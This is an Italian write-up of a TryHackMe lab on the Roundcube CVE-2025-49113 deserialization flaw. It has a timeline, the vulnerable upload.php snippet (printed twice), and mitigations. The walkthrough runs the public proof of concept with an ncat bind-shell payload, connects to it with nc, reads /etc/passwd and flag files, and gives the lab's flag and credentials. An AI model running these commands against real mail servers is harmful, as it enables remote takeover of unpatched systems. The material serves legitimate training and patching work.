
Spiegazione + Laboratorio su THM
{{date}} {{time}}
Stato: Completato
Lab: Facile
Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
da KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
Impatto: esecuzione remota di comandi post-login (CVSS 9.9)
Versioni interessate: ≤ 1.5.10 / 1.6.10
Patch: 1.5.11 e 1.6.11
| Data | Evento |
|---|---|
| ~2014 | Introduzione della rotta program/actions/settings/upload.php con uso di session->append() senza validazione. |
| 03 giu 2025 | Ricercatori di @FearsOff pubblicano l'advisory e annunciano PoC. |
| 04 giu 2025 | Roundcube applica commit 0376f69 (1.6-stable) e commit 7408f31 (1.5-lts). |
| 06 giu 2025 | PoC pubblicata su github . (fearsoff-org/CVE-2025-49113) |
| 10 giu 2025 | Sfruttamento di massa. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);
L'input _from arriva completo dal GET e poi diventa parte del nome di un nodo nella sessione e
durante il primo append(), Roundcube fa:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);
Se il file esiste, l'RCE ha funzionato.
Aggiorna immediatamente a ≥ 1.6.11 o ≥ 1.5.11.
Se non riesci ad aggiornare, blocca qualsiasi _from contenente %22, %7C, !, . o byte di controllo tramite WAF, firewall o rewrite.
Disabilita funzioni pericolose (proc_open, exec, etc.) in php.ini.
Blocca gli upload nel pannello delle impostazioni e monitora i log.
Free Room: https://tryhackme.com/room/roundcubecve202549113
Creato da tryhackme & strategos
Aprire la VM (MACHINE_IP) e l'AttackBox.
Accedere a http://MACHINE_IP/roundcube con:
utente: ellieptic
password: ChangeMe123
Funzionerà e farà il login normalmente:

Dopo aver verificato che tutto è attivo, eseguiamo l'exploit; per farlo accediamo alla PoC pubblicata su github precedentemente indicata e facciamo un git clone:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

L'uso del payload è semplice: basta creare la bind shell e puntare a una porta con il file .php seguendo l'uso qui sotto:
php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– Lo script effettua il login, inietta l'oggetto PHP malizioso nel parametro _from, come detto prima, chiama l'endpoint upload.php e poi forza il logout per attivare
session_decode() → unserialize() → proc_open().
A volte mostra un errore CSRF; ignoralo e passa al passo successivo,
perché il comando di solito è stato eseguito comunque.

Se la bind shell ha funzionato, sta ascoltando sulla porta 1337 che abbiamo specificato; non ci resta che connetterci ad essa ora:
nc MACHINE_IP 1337
Shell ottenuta.

BytePer risolvere questa domanda potevamo fare un cat di /etc/passwd grepando l'utente di maggie, o semplicemente un ls in /home

/etc?THM{ICE_CUBE_DESERIALISATION}Per risolvere questo, ho fatto un cat /etc/flag* e per fortuna il nome del file era flag e così siamo riusciti a catturarla.

Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
Write-up di FearsOff – https://fearsoff.org/research/roundcube
Blog di OffSec – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
Advisory GHSA – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com